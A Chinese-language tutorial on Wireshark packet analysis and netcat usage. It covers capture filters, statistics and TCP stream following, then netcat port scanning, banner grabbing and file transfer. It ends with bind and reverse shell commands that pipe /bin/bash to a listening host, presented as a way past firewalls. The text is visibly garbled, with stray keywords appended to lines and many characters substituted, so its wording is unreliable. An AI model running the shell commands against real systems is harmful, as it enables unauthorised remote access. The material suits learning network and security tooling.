Wireshark是一个网络数据包分析软件,功能是截取网络数据包,并尽量显示出最为详细的网络数据包数据。为了安全考虑,wireshark只能查看封包,而不能修改封包的内容,或者发送封包。linux
界面shell
抓包获取数组
点击捕获->设置,设置混杂模式,选中须要监听的接口,点击“开始”,开始捕获数据:安全
过滤bash
两者语法异同点详见:wireshark的显示过滤器和捕捉过滤器服务器
点击捕获->捕获过滤器,进行捕获设置(能够本身添加删除)。经常使用过滤包括IP过滤(如:ip.addr == x.x.x.x,ip.src == x.x.x.x,ip.dst == x.x.x.x)、协议过滤(如:HTTP、HTTPS、SMTP、ARP等)、端口过滤(如:tcp.port == 2一、udp.port == 53)、组合过滤(如:ip.addr == x.x.x.x && tcp.port == 2一、tcp.port== 21 or udp.port==53)。网络
显示过滤器在以下所示位置:tcp
着色规则工具
在数据包列表区域会看到不一样的颜色。wireshark可让你指定条件,把符合条件的数据包按指定的颜色显示。
点击视图->着色规则,弹出设置颜色规则设置对话框:学习
封包详细信息
各行信息分别为
ip统计
点击统计->对话,就能够统计出所在数据包中全部通讯IP地址,包括IPV4和IPV6。
协议统计
点击统计->协议分级,就能够统计出所在数据包中所含的IP协议、应用层协议:
Follow TCP Stream
对于TCP协议,可提取一次会话的TCP流进行分析。点击某帧TCP数据,右键选择追踪流->TCP流:
能够看到这个窗口中的文字会有两种颜色。其中红色用于表示从源地址到目标地址的流量。最开始的红色部分是一个GET请求。蓝色部分是和红色部分相反的方向,也就是从目标地址到源地址的流量。蓝色部分的第一行是“HTTP/1.1 200 OK”,是来自服务器的一个http成功响应。
在这个窗口中除了可以看到这些原始数据,还能够在文本间进行搜索,将其保存成一个文件、打印,或者以ASCII码、EBCDIC、十六进制或者C数组的格式去查看。
HTTP头部分析
对于HTTP协议,WireShark能够提取其URL地址信息。
点击统计->HTTP->分组计数器,就能够统计出HTTP会话中请求、应答包数量:
点击统计->HTTP->请求,就能够统计出HTTP会话中Request的域名,包括子域名:
点击统计->HTTP->负载分配,就能够统计出HTTP会话的IP、域名分布状况,包括返回值:
这只是Wireshark最基础的功能,用WireShark分析攻击行为才是重中之重,后期将进行深刻学习,详见WireShark教程 - 黑客发现之旅。
netcat是网络工具中的瑞士军刀,它能经过TCP和UDP在网络中读写数据。netcat所作的就是在两台电脑之间创建连接并返回两个数据流。
端口扫描
打印21到25全部开放的端口:
能够运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp. -z: 告诉netcat使用0 IO,链接成功后当即关闭链接,不进行数据交换 -v: 详细输出 -n: 不使用DNS解析
小Tips:通常若是后面是跟ip的话,就带上-n参数;跟着是域名的话,就不带-n参数。
一旦发现开放的端口,可使用netcat 链接服务抓取他们的banner:
banner是一个文本,banner是一个链接的服务发送回来的文本信息。当试图鉴别漏洞或者服务的类型和版本的时候,banner信息是很是有用的。但并非全部的服务都会发送 banner。
聊天服务
服务器:
nc -l -p 20000 -l:指明netcat处于监听模式, -p:指定源端口号
客户机:
nc -n 10.43.42.5 20000
netcat在服务器的20000端口启动了一个tcp服务器,全部的标准输出和输入会输出到该端口。输出和输入都在此shell中展现。
文件传输
FTP,SCP,SMB均可以传输文件,可是只是须要临时或者一次传输文件,不值得安装配置一个软件到机器上。现有机器A 192.168.199.139,机器B 192.168.199.161,A向B传输文件:
服务器(A):
$nc -l -p 20000 < 1.txt
客户机(B):
$nc -n 192.168.199.139 > 1.txt
在A上建立了一个服务器而且重定向netcat的输入为文件1.txt,当任何成功链接到该端口,netcat会发送1.txt的文件内容。
一样也可让A做为客户端,B做为服务器。
Server B:
nc -l -p 20000 > 1.txt
Client A:
nc -n 192.168.199.161 20000 < 1.txt
目录传输
若是想要发送多个文件或者整个目录,只须要使用压缩工具tar,压缩后发送压缩包。
服务器:
tar -cvf - ./test/ | nc -l -p 20000 建立一个tar归档包而且经过-在控制台重定向它
客户机:
nc -n 192.168.199.139 20000 | tar -xvf -
正向shell
现要在A机器上打开B机器的shell,应把A当成Client,把B当成Server,在B上监听输入的链接,等A连入后就可操做B的shell:
服务器:
nc -l -p 20000 -e /bin/bash 表示当链接成功时执行/bin/bash
客户机:
nc -n 192.168.199.161 20000
反向shell
使用正向shell时,若是防火墙屏蔽了输入,只容许输出,那么这时候就是反向shell发挥做用的时候了。
反向shell的作法是把A当成netcat的Server,把B当成netcat的Client,而后在A上用-l参数监听netcat的连接。
服务器:
nc -l -p 20000
客户机:
nc -n 192.168.199.139 20000 -e /bin/bash
而后在A上执行shell命令,就能够至关于B的远程shell了:
反向shell常常被用来绕过防火墙的限制,如阻止入站链接。例若有一个专用IP地址为192.168.199.139,使用代理服务器链接到外部网络。若是想从网络外部访问这台机器shell,那么就会用反向外壳用于这一目的。